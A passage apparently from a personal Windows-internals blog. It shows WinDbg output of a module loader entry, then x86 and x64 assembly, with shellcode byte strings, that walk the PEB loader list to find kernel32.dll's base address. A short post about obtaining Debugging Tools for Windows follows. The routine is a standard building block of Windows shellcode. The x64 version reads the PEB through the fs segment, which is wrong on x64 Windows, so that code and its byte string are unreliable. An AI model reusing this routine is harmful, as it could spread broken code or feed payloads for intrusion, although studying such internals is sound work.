   +0x070 LoadTime         : _LARGE_INTEGER 0x0

0:000> dt _LDR_DATA_TABLE_ENTRY 0x343328-8
ntdll!_LDR_DATA_TABLE_ENTRY
   +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x343438 - 0x342fa0 ]
   +0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x343440 - 0x342fa8 ]
   +0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x343cf8 - 0x343448 ]
   +0x018 DllBase          : 0x75540000 Void
   +0x01c EntryPoint       : 0x755532a3 Void
   +0x020 SizeOfImage      : 0x110000
   +0x024 FullDllName      : _UNICODE_STRING "C:\Windows\syswow64\kernel32.dll"
   +0x02c BaseDllName      : _UNICODE_STRING "kernel32.dll"
   +0x034 Flags            : 0x84004
   +0x038 LoadCount        : 0xffff
   +0x03a TlsIndex         : 0
   +0x03c HashLinks        : _LIST_ENTRY [ 0x346144 - 0x77ba4880 ]
   +0x03c SectionPointer   : 0x00346144 Void
   +0x040 CheckSum         : 0x77ba4880
   +0x044 TimeDateStamp    : 0x4e211318
   +0x044 LoadedImports    : 0x4e211318 Void
   +0x048 EntryPointActivationContext : (null) 
   +0x04c PatchInformation : (null) 
   +0x050 ForwarderLinks   : _LIST_ENTRY [ 0x343ed0 - 0x343ed0 ]
   +0x058 ServiceTagLinks  : _LIST_ENTRY [ 0x343378 - 0x343378 ]
   +0x060 StaticLinks      : _LIST_ENTRY [ 0x3434f0 - 0x3433b0 ]
   +0x068 ContextInformation : 0x77adc960 Void
   +0x06c OriginalBase     : 0x7dd60000
   +0x070 LoadTime         : _LARGE_INTEGER 0x01cd6f77`c1f63851

There we have it, DllBase = 0x75540000.

The assembly code

; assemble with `nasm k32base.asm -o k32base`

bits 32

xor edx, edx
mov edx, [fs:edx+0x30]  ; edx = address of PEB
mov edx, [edx+0x0c]     ; edx = address of Ldr
mov edx, [edx+0x14]     ; edx = first module entry address
mov edx, [edx]          ; edx = second module entry address
mov edx, [edx]          ; edx = third module entry address
mov edx, [edx+0x10]     ; edx = DllBase of kernel32.dll

Shellcode:
/* 19 bytes */
char shellcode[] = "\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b"
                   "\x52\x14\x8b\x12\x8b\x12\x8b\x52\x10";

We can retrieve the DllBase of kernel32.dll under x64 in the same way, except that some offsets will be different, because of larger pointer sizes. After getting the equivalent offsets under x64, we come up with:

; assemble with `nasm k32base_x64.asm -o k32base_x64`

bits 64

xor rdx, rdx
mov rdx, [fs:rdx+0x60]  ; rdx = address of PEB
mov rdx, [rdx+0x18]     ; rdx = address of Ldr
mov rdx, [rdx+0x20]     ; rdx = first module entry address
mov rdx, [rdx]          ; rdx = second module entry address
mov rdx, [rdx]          ; rdx = third module entry address
mov rdx, [rdx+0x20]     ; rdx = DllBase of kernel32.dll

Shellcode:
/* 26 bytes */
char shellcode[] = "\x48\x31\xd2\x64\x48\x8b\x52\x60\x48\x8b"
                   "\x52\x18\x48\x8b\x52\x20\x48\x8b\x12\x48"
                   "\x8b\x12\x48\x8b\x52\x20";

~ Dmitry

Debugging Tools for Windows

For quite some time now, Microsoft has removed the standalone installer of Debugging Tools for Windows from their website, so the only way to get them is through getting other packages like the WDK, Windows SDK, etc.

Fortunately though, they still maintain an archive where you can download both 32-bit and 64-bit versions:

Now you can have the latest WinDBG and all the other useful debugging tools included in the package.

Other useful tools for observing Windows internals can be found at http://live.sysinternals.com/

~ Dmitry